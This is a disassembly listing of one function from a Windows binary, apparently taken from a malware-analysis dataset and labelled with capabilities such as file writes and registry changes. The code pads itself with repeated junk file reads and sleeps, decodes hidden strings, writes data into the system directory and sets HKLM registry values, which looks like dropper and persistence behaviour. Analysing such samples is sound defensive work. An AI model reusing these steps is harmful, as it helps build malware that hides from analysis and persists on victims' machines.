Function at 0x1315307c
Capabilities:
Get common file path
Get file attributes
Read file on windows
Set registry value
Write file on windows

Disassembly:
mov eax, 0x8c18
call fcn.131558b0
mov eax, dword [0x13182360]
xor eax, esp
mov dword [esp + 0x8c14], eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
mov edi, 0x80000000
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131530dd
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebp, dword [sym.imp.WINMM.dll_timeGetTime]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x14], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153117
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x14]
mov dword [0x131833d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x131530f7
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315315a
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x14], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315318e
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x14]
mov dword [0x131833d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x1315316e
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x1318233c]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x131531d9
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0xa24], al
mov byte [esp + ecx + 0xa25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x1315319d
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153211
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x14], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153245
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x14]
mov dword [0x131833d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x13153225
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x13182310]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153290
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x624], al
mov byte [esp + ecx + 0x625], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153254
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131532c8
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x14], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131532fc
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x14]
mov dword [0x131833d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x131532dc
xor eax, eax
mov cl, byte [eax*4 + 0x131620c0]
mov byte [esp + eax + 0xc24], cl
inc eax
cmp eax, 0x8000
jl 0x13153309
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153357
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x14], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315338b
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x14]
mov dword [0x131833d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x1315336b
push 0x1ff
lea eax, [esp + 0x428]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131533e1
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x14], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153415
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x14]
mov dword [0x131833d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x131533f5
lea eax, [esp + 0x624]
push eax
lea eax, [esp + 0x428]
push eax
lea eax, [esp + 0xa2c]
push eax
lea eax, [esp + 0x830]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153481
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x14], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131534b5
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x14]
mov dword [0x131833d8], eax
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0xd
jl 0x13153495
push ebx
push ebx
push 3
push ebx
push ebx
push edi
lea eax, [esp + 0x83c]
push eax
call esi
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
mov dword [esp + 0x30], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315350d
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153541
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153521
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp dword [esp + 0x14], 0xffffffff
mov dword [0x131833d0], eax
je 0x1315364b
cmp eax, 0xffffffff
je 0x1315358f
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131535c3
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131535a3
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153610
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315363e
call ebp
add eax, dword [0x131833d4]
add eax, ebx
mov dword [0x131833d8], eax
inc ebx
cmp ebx, 0xd
jl 0x13153620
xor eax, eax
jmp 0x1315421b
cmp eax, 0xffffffff
je 0x13153670
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131536a4
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153684
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [esp + 0x83c]
push eax
call esi
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
mov dword [esp + 0x30], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153700
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153734
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153714
cmp dword [esp + 0x14], 0xffffffff
je 0x13153863
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153782
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131537b6
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153796
push ebx
lea eax, [esp + 0x24]
push eax
push 0x8000
lea eax, [esp + 0xc30]
push eax
push dword [esp + 0x24]
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315381a
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315384e
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315382e
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131820c0]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x131538a3
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x424], al
mov byte [esp + ecx + 0x425], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153867
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131538db
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315390f
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131538ef
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
mov dword [esp + 0x38], 1
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315395a
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315398e
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315396e
push ebx
lea eax, [esp + 0x1c]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [esp + 0x440]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131539f3
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153a27
call ebp
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153a07
cmp dword [esp + 0x18], ebx
je 0x131541ac
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153a74
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153aa8
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153a88
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131821cc]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153aed
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153ab7
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153b25
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153b59
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153b39
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131822d0]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153ba4
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x224], al
mov byte [esp + ecx + 0x225], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153b68
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153bdc
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153c10
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153bf0
push 4
lea eax, [esp + 0x228]
push eax
push 1
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153c6f
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153ca3
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153c83
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131822e0]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153ce8
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153cb2
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153d20
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153d54
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153d34
push 4
lea eax, [esp + 0x20]
push eax
push 4
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153db0
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153de4
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153dc4
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x1316201c]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153e2f
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x224], al
mov byte [esp + ecx + 0x225], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153df3
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153e67
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153e9b
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153e7b
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x131822b0]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13153ee0
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153eaa
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153f18
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153f4c
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153f2c
push 0xb
lea eax, [esp + 0x228]
push eax
push 1
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13153fab
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13153fdf
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13153fbf
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
fldz
lea ecx, [ecx*4 + 0x1316208c]
fcomp dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x13154024
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x24], al
mov byte [esp + ecx + 0x25], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x13153fee
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315405c
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154090
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154070
push 4
lea eax, [esp + 0x20]
push eax
push 4
push ebx
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131540ec
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154120
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154100
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push str.lksdjfjds
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315416d
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call ebp
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131541a1
call ebp
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154181
